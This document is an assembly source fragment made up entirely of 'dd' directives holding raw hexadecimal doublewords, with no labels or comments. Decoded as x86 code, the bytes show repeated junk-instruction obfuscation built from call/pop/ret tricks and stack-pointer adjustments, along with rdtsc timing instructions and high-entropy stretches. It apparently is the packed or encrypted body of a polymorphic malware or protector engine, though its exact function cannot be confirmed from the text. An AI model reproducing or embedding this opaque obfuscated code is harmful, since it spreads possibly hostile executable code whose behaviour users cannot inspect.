		dd 0AE80000h, 6B000000h, 7AE6AB16h, 753A6BB9h, 585A5F41h
		dd 13E950h, 0E41F0000h,	56392E53h, 53E2F800h, 0CFD25E2Ch
		dd 5C1E6734h, 6A9065h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 0EEC8E7C3h, 0B5EC866Eh, 2B5B1ECCh
		dd 130B45BDh, 6A006A06h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 0BE05C357h,	0D1544DECh
		dd 6A006AD7h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 0E0ADC357h, 0DCBFBCDFh, 0E96D5776h
		dd 9, 0F23C51ADh, 0B0CE3709h, 0F195FF64h, 0B7061307h, 6A8D8D9Eh
		dd 6A0616A3h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 24D7C353h, 0BDFE9F41h,	0BAE847E9h
		dd 23059501h, 0D1FF0613h, 8CDBD89h, 0BD830613h,	613173Dh
		dd 7E850F01h, 1000000h,	1329A5B5h, 8B026A06h, 1309D9BDh
		dd 0BABB6606h, 10E8909Ah, 0EE000000h, 5806F0CFh, 2B6AEAFAh
		dd 0F21C25F4h, 50D2A429h, 0F5B5752h, 0AE831h, 0E2610000h
		dd 66C8EF22h, 2651B75Bh, 5F585A5Bh, 8B0F9050h, 0Ch, 68B0Fh
		dd 9D8B0000h, 6131D55h,	1E9595FFh, 6A0613h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 61CFC5C3h
		dd 0BD8D6F44h, 0F3FE936h, 0E80000h, 5D000000h, 0E2A5ED81h
		dd 0B70F0617h, 299589FEh, 8B061309h, 130BE19Dh,	0D59D8B06h
		dd 8D06130Fh, 168F5E85h, 51BD8906h, 9006131Bh, 5050DF8Bh
		dd 11E852h, 0A2340000h,	68093D90h, 56D0046Dh, 0FF0E3259h
		dd 5BF2A20Eh, 11E8310Fh, 0DF000000h, 387D76C8h,	9A0B1CACh
		dd 0B0CFAE30h, 189AA37Fh, 5A5B2BB7h, 6A9058h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0F0DDFBC3h
		dd 0F2BC1064h, 0FF640189h, 35h,	8964F800h, 25h,	57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 0E84DD8A6h, 0E60F5A00h, 6840F16h, 89000000h,	132B919Dh
		dd 0D985FF06h, 50061316h, 57F38166h, 0FF6A5BC2h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 80C35646h, 9217B1C3h
		dd 6890Fh, 0B5890000h, 6131FC9h, 0B01B5FFh, 7E90613h, 0F3000000h
		dd 0B314B01Eh, 95FF9163h, 61331ADh, 12BE9h, 0DFB70F00h
		dd 0B0DEB70Fh, 3DBD8B00h, 0E6061300h, 4870F70h,	66000000h
		dd 0E46A9ABBh, 870F6071h, 6, 2119B58Bh,	85890613h, 6131501h
		dd 0F613C61h, 0F383h, 0D9B50900h, 0F061329h, 6BAC8B6h
		dd 0F000000h, 0C18BD9B7h, 0E904E8C1h, 9, 65FCC0C0h, 5766CC3Dh
		dd 0FBBF0F99h, 0BFE2F766h, 512B664Ah, 0AE9C82Bh, 0F8000000h
		dd 7804201h, 0D13A3F20h, 89D18BDDh, 130EF9BDh, 0A6E906h
		dd 0BD8B0000h, 61311E9h, 4858BFCh, 66000000h, 0FE79EB81h
		dd 8B07C083h, 131935BDh, 0C08306h, 3850Fh, 0BF0F0000h
		dd 0FD03BF9h, 1A83h, 890F6000h,	1, 0E1BD8BF8h, 61061306h
		dd 63E9h, 19858900h, 8B06131Ch,	0FFFFFF8Dh, 219529FFh
		dd 8906130Fh, 131AB5B5h, 1E18306h, 42840Fh, 0E8600000h
		dd 14h,	0D8141773h, 0AC600D7Bh,	0A6004424h, 10A70EEAh
		dd 1CAABD99h, 830Fh, 8B5F0000h,	0A58361D7h, 0FFFFFFFFh
		dd 0F5B529FEh, 89061331h, 495h,	819D0B00h, 0E9061331h
		dd 0
		dd 5FACB58Dh, 0F600617h, 8B56C3B7h, 132BC195h, 6A615A06h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 0C3E922Ch, 0C7DC6EE4h, 0DA995FFh, 6A0613h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0AF12CCC3h, 0CE9A3h,	0FC980000h, 0BD90229Dh,	0D36315DBh
		dd 0BE85CCCh, 70000000h, 16A764D5h, 964828CFh, 0F525068h
		dd 85h,	0B95B5B00h, 1032h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 8AC35141h, 0D8B70F60h, 6AFCE183h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 6646C352h, 0BD8B7779h, 6130A45h, 51006AFCh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0E59589EFh
		dd 0B8061319h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 9FC35040h
		dd 7DFFD3E4h, 2805707h,	0BA5F56E2h, 0
		dd 5719D8Bh, 33AD0613h,	3E8D1C2h, 4E983D0h, 6AF475h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0D268BC3h, 859D8B5Dh, 6A061301h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 68FCC350h
		dd 7017AF46h, 0D0BBA08Ch, 0D00782Eh, 88h, 0B2DB589h, 958B0613h
		dd 6131BBDh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	65C35646h, 0B23BAF3Ah, 0E1BD8BD6h, 8B061306h, 1318DD8Dh
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 40253057h, 0BD8B26D9h, 6130D91h,	8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 6416BAC3h
		dd 0CECBB66h, 59858960h, 8B061313h, 1322CDB5h, 6A6106h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 29611AC3h, 0E5EFF549h, 83B75FFFh, 131D1DBDh,	840F0006h
		dd 1Eh,	0B8h, 0DF816600h, 8D8D0DB0h, 6134F8Dh, 1059BD89h
		dd 0E1FF0613h, 17059589h, 0BD830613h, 6133055h,	0A8840F00h
		dd 83000004h, 133055BDh, 840F0106h, 4B6h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Ch, 0CBC35141h, 7DF52700h
		dd 25FBEA75h, 3055BD83h, 0F030613h, 44F86h, 1DBB6600h
		dd 6A6049h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 10C97BC3h, 0EAB33A2Bh, 80D98C66h,	0EF8104E1h
		dd 2C332A0Eh, 840FC90Ah, 1C2h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 0C7C35545h,	0C78E2C23h, 2E645665h
		dd 0B8EB8166h, 0B9858B32h, 6A06132Bh, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 4334C355h
		dd 10E9h, 0D8341200h, 2B7F681Bh, 4766FC6Bh, 9DE1649Fh
		dd 19D8B75h, 33061325h,	1305B985h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 2A8AA758h
		dd 5250C454h, 0CE9h, 105A1300h,	0F3795A92h, 0B88AAD2Fh
		dd 4895BD5h, 52006A24h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 6B8C89C7h, 6A1E794Fh, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 0C5AE8610h, 661538FCh, 89DFD381h, 4DCF8166h,	4E89Dh
		dd 3FF0000h, 0BB66001Fh, 0F500C50h, 28Dh, 8B5B5700h, 0E8042444h
		dd 8, 0B82E1046h, 2B6499B9h, 5BFA8B57h,	0E8008B5Fh, 0Eh
		dd 659CEDD9h, 7ACC519Dh, 0AF49A07h, 10B7A3AAh, 2444895Fh
		dd 0F525004h, 8E931h, 53160000h, 0CC1CDF00h, 585AAF57h
		dd 53006A58h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 41683D29h, 0BD09EAFBh, 61319D1h,	6E9h, 178D700h
		dd 5195CEC2h, 0D4EF8166h, 95FF5BC7h, 6130A3Dh, 0C4548589h
		dd 0EF800616h, 1F1E96Dh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 4F930CC3h, 0A4AABB91h
		dd 858B3737h, 616C44Ch,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 5FC35545h, 99CD587Fh,	0CDC4D5D0h, 53C381CDh
		dd 5000F35Fh, 0FE9h, 0FD245300h, 9A9A1520h, 85007989h
		dd 0B4A89935h, 1800C75Bh, 31000000h, 1328C18Dh,	50B58B06h
		dd 660616C4h, 8BA208BBh, 132A5585h, 6A068906h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 2B74C350h, 0FBB048Eh, 381h, 0FAB70F00h, 8B0Fh, 858B0000h
		dd 6132BB9h, 1991BD09h,	0BD230613h, 61321FDh, 81044689h
		dd 25A8E8F7h, 0FDB79622h, 6A9650h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 660FDAC3h, 0FF682420h
		dd 16C44CB5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 142982FBh, 0A7AA96BAh, 0C2C3E068h
		dd 9856BB4Fh, 34811530h, 0DDC01F24h, 57006A4Fh,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 14398CF7h
		dd 7A7E30CAh, 6E9DBE1h,	0D7000000h, 0DBD9AF48h,	54858D31h
		dd 6A0616C4h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 7AA6C355h, 3622D379h, 6660904Fh
		dd 0E8D241B8h, 0Eh, 5BF3E5BBh, 4328B0C2h, 4F69D768h, 52502197h
		dd 585A310Fh, 6050615Bh, 0A3CEB850h, 615E35F8h,	5E990h
		dd 93550000h, 89A7D2E6h, 1314A59Dh, 3D95FF06h, 6A06130Ah
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 0F155C350h, 9B6A7Ah, 61A18357h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 76C35242h, 0F73B12C0h
		dd 0D98B6616h, 0D3FBBB66h, 305585C7h, 30613h, 0BD2B0000h
		dd 6132821h, 0C454BD83h, 0F000616h, 3F84h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
		dd 0AFFAB7FEh, 0F605A7Bh, 2956CABFh, 1323E195h,	0E9615906h
		dd 27h,	0DA5BD8Bh, 0B5310613h, 6130F01h, 110C3050h, 1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 9B3C352h, 13117595h,	0F3816606h, 816610A4h, 0E948E9CFh
		dd 12h,	7182F3D6h, 0D14E47DFh, 0A53D5409h, 5C4B77FDh, 0BD834E00h
		dd 6133055h, 1850F03h, 6A000005h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0B57CC350h
		dd 0C454BD83h, 0F000616h, 4D784h, 0FE800h, 0EE450000h
		dd 262ACC21h, 0FAD371CEh, 0DF0735D3h, 0F985311Dh, 5F061331h
		dd 0FFF88B66h, 16C454B5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 8248D4B4h
		dd 94DDF7A8h, 95FF3118h, 6130969h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 23C35646h, 65C78E2Ch, 9E956h
		dd 0F030000h, 1047A1E9h, 52369AF9h, 5BF98B66h, 0C448B58Bh
		dd 6A0616h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 0BFA507C3h, 10E967h, 0D5780000h, 7F1994DCh
		dd 0FE9B3852h, 72D65A81h, 0F98B795Ch, 106C7h, 6E80001h
		dd 0C6000000h, 650F2F65h, 0B59D892Eh, 5B06130Bh, 9E8h
		dd 256D5B00h, 0A661A1BBh, 0B70F3779h, 57965BFBh, 505FDD8Ah
		dd 2DBB6650h, 66965FBFh, 0FFC6B8BFh, 16C454B5h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 1D85018Eh, 66061306h, 2F12EB81h, 322995FFh, 6A0613h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 1C2404C3h, 29E42DC3h, 8974C436h, 1311D9BDh
		dd 48B58B06h, 6A0616C4h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 8BDCC352h, 13063185h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 38B64462h, 0C48689BFh, 8B000000h, 131BBD95h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 972EC9C1h, 5347AA36h, 0C2835823h, 13E904h
		dd 0DAF30000h, 724DEA2Fh, 0E9871161h, 0AA6FCBE9h, 85D9A96h
		dd 2050891Ah, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 17h,	71C35242h, 8B487C0Eh, 0B58B60D8h, 6130DD1h, 8FF897B8h
		dd 858D6131h, 616D8E3h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 8EC35646h, 3CDED0BCh,	5E98BFD1h, 86892043h
		dd 0B8h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 18h,	0B1C35040h, 0EF50BC0Eh,	0A35BD89h, 8D890613h, 6130E9Dh
		dd 0BB66006Ah, 816607A1h, 0FF7FD1C3h, 16C454B5h, 68B0F06h
		dd 8B000000h, 13197DBDh, 0FBBF0F06h, 1E9595FFh,	0CE90613h
		dd 0DD000000h, 0AF72DB44h, 0D6C2B983h, 96EFA82Ah, 10E8h
		dd 3668000h, 9B8ACE71h,	64696A60h, 0D219113Bh, 9EBB6630h
		dd 0E8505FE2h, 0Fh, 5033E961h, 16B62A7Ch, 0EDAC77C8h, 0F04FC51h
		dd 280h, 5FD88B00h, 0BE666096h,	0B8663AB1h, 0FF6190A5h
		dd 16C454B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 0FF7040C6h, 317D1D30h, 1329DD95h
		dd 0DA8B6606h, 214595FFh, 8B660613h, 49BD8BDFh,	8306131Ah
		dd 131495BDh, 840F0006h, 2Dh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 3C35343h, 4CB9E559h, 0BF50A790h
		dd 6425FB47h, 8A243489h, 54B5FFFDh, 6A0616C4h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 2949C355h, 13248D85h, 0AD95FF06h, 0E9061305h, 11h, 2625A6A5h
		dd 25E91BF7h, 890E7BFh,	0C168BDF7h, 54B5FF84h, 6A0616C4h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 1D86C357h, 9D8989E3h, 6131709h, 120995FFh
		dd 6A0613h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 4C561DC3h, 11BD8327h, 2061305h, 8E840Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 0FE8D16C3h, 37B9FE83h, 0EE87Eh, 93FD0000h
		dd 0F927B4CEh, 0A9FD0FB7h, 0CFE07DEEh, 68D0Fh, 890F0000h
		dd 0
		dd 55858B5Fh, 6A06130Fh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 171FC356h, 0D586D9E0h
		dd 0D6F38166h, 0C60Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 99C35646h, 1E5185C7h,	613h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0FBC66C3h, 687h, 58D8900h, 0BF06131Eh, 29294FB1h, 0FFF1C9E9h
		dd 9D8B60FFh, 61319DDh,	5BDBD89h, 8B610613h, 50006AC1h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 145E1664h, 0A9858D71h, 0E806131Eh, 10h, 792C8457h, 0A8F978Dh
		dd 193DA073h, 0FCB51C76h, 0C030BF66h, 61BB905Bh, 504F455Bh
		dd 61DE8B60h, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 727E2C4h,	5DC38C61h, 0AAF38177h
		dd 802A1227h, 6AA3C7h, 20859D89h, 6A0613h, 858DFC8Ah, 617F362h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0E9C35747h
		dd 7743C5CFh, 0DE841h, 61560000h, 8AE8F74Dh, 4B634D95h
		dd 5BD878D8h, 23359D8Bh, 0C0830613h, 0E8806005h, 9061F5CAh
		dd 6583BB50h, 66905EA1h, 6A2E16BBh, 998D8900h, 6A06130Ah
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0CE97F6F4h, 0F195FFD0h, 23061307h, 1318D5BDh
		dd 6A8D8D06h, 890616A3h, 1323219Dh, 0E8D1FF06h,	6, 0D20EEF58h
		dd 0BB66205Fh, 835B2793h, 13173DBDh, 850F0106h,	68h, 9044BF66h
		dd 6A026Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 0A2CD83C3h, 8087022Fh, 8B90B1D2h,	13308DBDh
		dd 52509006h, 585A310Fh, 12E85050h, 0B6000000h,	58CEAF47h
		dd 19B67732h, 31E521F9h, 0FED8A50h, 5B616033h, 9529905Bh
		dd 613140Dh, 1E9595FFh,	9D890613h, 61318F9h, 0DEAE9h, 0E800h
		dd 815D0000h, 17F36CEDh, 0D8BF0F06h, 8DFB8B66h,	168F5E85h
		dd 6840F06h, 33000000h,	130DD9BDh, 0BB669006h, 6050AEBAh
		dd 0C052BB66h, 8E0F51h,	58000000h, 0CE99061h, 97000000h
		dd 126C7F9h, 3B035060h,	6448E3A6h, 35FFh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0A7D9F3C3h, 89D4C335h, 6615D5E3h, 34ADDB81h,	258964h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 759AC351h, 0FFE31BA1h,	1316D985h
		dd 7E806h, 20870000h, 0E68748BFh, 58B0F1Eh, 0BB000000h
		dd 2C678D6h, 6AF98A5Bh,	50006AFFh, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 50AD6D73h, 578BA8D6h
		dd 0FFF95964h, 132101B5h, 0DABF0F06h, 31AD95FFh, 50E90613h
		dd 0E8000001h, 9, 9716FF66h, 5FC523EEh,	0EF81667Dh, 0BB5B18FAh
		dd 5EE3E36Fh, 0DE800B0h, 0DF000000h, 12969294h,	36DF1AA1h
		dd 2CA5E262h, 895FDE8Ah, 1312DDBDh, 8B70E606h, 131CF5BDh
		dd 8B71E406h, 130B759Dh, 0F613C06h, 10283h, 0DDBD2300h
		dd 2B061301h, 130C559Dh, 0C8B60F06h, 0FE8h, 635D5700h
		dd 6D5F351Bh, 4F19C4E1h, 15C77E47h, 5BDE8B51h, 6BA5Fh
		dd 8B660000h, 89C18BFEh, 131571B5h, 4E8C106h, 0E2F766FCh
		dd 2B3D8529h, 8D290613h, 6132051h, 0BD8BC82Bh, 61309C5h
		dd 8589D18Bh, 6131B01h,	0A2E9h,	18D0F00h, 0F8000000h, 4C44858Bh
		dd 0E7815F4Ch, 1E747A1Dh, 5207C083h, 9B58956h, 5B06130Ch
		dd 0C0835Fh, 1985BD8Bh,	0D03B0613h, 0E830Fh, 95890000h
		dd 61314E1h, 66E9h, 0FA8B6600h,	0FFFF8D8Bh, 13E8FFFFh
		dd 0B9000000h, 0C351CA17h, 9A9E5FD0h, 6FE1C6D5h, 0C0F8FE60h
		dd 81663784h, 5F468DC7h, 0F01E183h, 3684h, 13E900h, 2D370000h
		dd 72370DB0h, 5CDB7EF3h, 0BF401B70h, 800A2AA8h,	0FFA5837Fh
		dd 0FEFFFFFFh, 0D98531h, 95890613h, 5F4C4C44h, 3069BD0Bh
		dd 0E90613h, 8D000000h,	176FDEB5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0BBA718FAh
		dd 3004080Eh, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 667526C3h, 860FFB8Bh, 5,	38EF8166h
		dd 0D7BB6604h, 0A995FFADh, 6A06130Dh, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 9A08C352h
		dd 8A2B001Fh, 3AF38166h, 0FE9B943h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 7B3294C3h
		dd 815F15FFh, 4447F8E3h, 0FCE1836Bh, 6800F50h, 31000000h
		dd 130C31BDh, 6AFC5F06h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 4C8C356h, 20A38DCDh
		dd 0C02BF57Bh, 0BAh, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 0C233AD66h, 0D003E8D1h
		dd 7504E983h, 57006AF4h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 0A1962311h, 9A86F476h, 8A0F07ADh
		dd 6, 1D319D2Bh, 9D890613h, 61323B1h, 880Dh, 0CD858900h
		dd 9061301h, 13063595h,	0BD958B06h, 6A06131Bh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 76B9C350h, 5E9C3FCh,	0B7000000h, 3D9EF83Ch, 0A519D8Bh
		dd 8D8B0613h, 61318DDh,	9839CF81h, 8B5047E3h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 50C35343h, 0DE9BCh,	56200000h
		dd 0DF80AAE9h, 818CFF9Ch, 8934DED8h, 132A1995h,	0A1B58906h
		dd 83061319h, 131D1DBDh, 840F0006h, 68h, 0DCEB8166h, 0B81Bh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 8611FEC3h, 600E2DDDh, 0D9BD8BA7h,	8D061309h
		dd 134F8D8Dh, 0FFD98B06h, 50006AE1h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 830F47B5h
		dd 8, 28C0Fh, 3B30000h,	3055BD83h, 0F000613h, 3C484h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 615F19B4h, 0D60E2BF4h, 0A59D8B0Eh, 83061330h, 133055BDh
		dd 840F0106h, 3A8h, 3D1AFBBh, 55BD834Dh, 3061330h, 360860Fh
		dd 840F0000h, 6, 14659D8Bh, 6A600613h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 662DC351h
		dd 0BD31D98Ch, 6130FF9h, 6A04E180h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 912FC356h
		dd 32649A57h, 40581C2Bh, 0DD953360h, 8B061324h,	1307C1BDh
		dd 0C90A6106h, 116840Fh, 0F3800000h, 72DBF16h, 858B0610h
		dd 6132BB9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	69C35040h, 911706C9h, 8368AFh, 9D8B51AFh, 6131DF5h
		dd 0B985335Fh, 6A061305h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 8771C352h
		dd 0C6404C89h, 6E890E6h, 82000000h, 0D8830087h,	2820F00h
		dd 53000000h, 8B505F5Bh, 0B70F90D9h, 6A006ADEh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 0B8E7C353h, 617F8D68h, 81DE8AE6h, 84722404h,	0BD8B19BDh
		dd 61324B1h, 0A3D95FFh,	6A0613h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 8B8F73C3h, 548589FBh
		dd 6A0616C4h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 767FC356h, 6890Fh, 9D8B0000h
		dd 6132BB5h, 21E59D89h,	35E90613h, 0BF000001h, 27AE1CAEh
		dd 0C44C858Bh, 81660616h, 99A86C3h, 1319D18Dh, 1800C706h
		dd 89000000h, 1304DD8Dh, 50B58B06h, 6A0616C4h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 0A554C357h, 858B41EEh, 6132A55h, 0D519D89h, 6890613h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 6CC35343h
		dd 0ABB33CA0h, 26025C2Dh, 8BDA8B56h, 132BB985h,	38F0F06h
		dd 80000000h, 4689B1F7h, 0B5BD8B04h, 96061331h,	9AC2BF66h
		dd 0AE950h, 57CA0000h, 3122840Dh, 0A43C2397h, 4CB5FF96h
		dd 500616C4h, 0C0D9D8Bh, 0E85B0613h, 4,	1F03FFh, 5350DA8Bh
		dd 0D9A624BBh, 448B5F01h, 0BA600424h, 146BB95Bh, 9F56BE66h
		dd 50008B61h, 0DE852h, 0B58F0000h, 8CB30F6Dh, 0C7EB2E15h
		dd 0BFC5E8B8h, 38881AC0h, 8B310F5Bh, 89585AFEh,	0B3042444h
		dd 860F58D7h, 0Fh, 0AE9h, 20AEFB00h, 86646E9Ch,	8DC3C38Ah
		dd 16C45485h, 0FBB70F06h, 7AB0BB50h, 4893BC4h, 3D95FF24h
		dd 5206130Ah, 5BDBBF0Fh, 56006A61h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 0B63C75h, 29D9CD18h, 305585C7h
		dd 30613h, 0B5310000h, 6131FBDh, 0C454BD83h, 0F000616h
		dd 6984h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 1BAEC4A0h, 36D86996h, 0DF8B6625h
		dd 56E98CB7h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 563BC357h, 13E8h, 46011400h
		dd 0BC62C0A6h, 1478D424h, 81FB16BBh, 0EE814A2Dh, 2F7E70BFh
		dd 30505F6Ch, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 9B7B9E0Eh, 13B3C4D3h, 9D894316h
		dd 6131CD9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	4AC35141h, 1C48FE30h, 1B19BD8Bh, 0BD830613h, 6133055h
		dd 91850F03h, 6A000004h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 0CEECC355h,	2BFE659Fh
		dd 0C454BD83h, 0F000616h, 46384h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 11E920E1h
		dd 0AC000000h, 0DE7328C0h, 0A57FA2FDh, 92E231A7h, 4D9F6644h
		dd 0C454B5FFh, 6A0616h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 8AF105C3h, 0E38166F4h, 95FF3EF2h
		dd 6130969h, 0C448B58Bh, 6A0616h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 0F55B4CC3h, 15E68160h
		dd 8B7D37F4h, 8B6661DAh, 106C7FBh, 6A000100h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
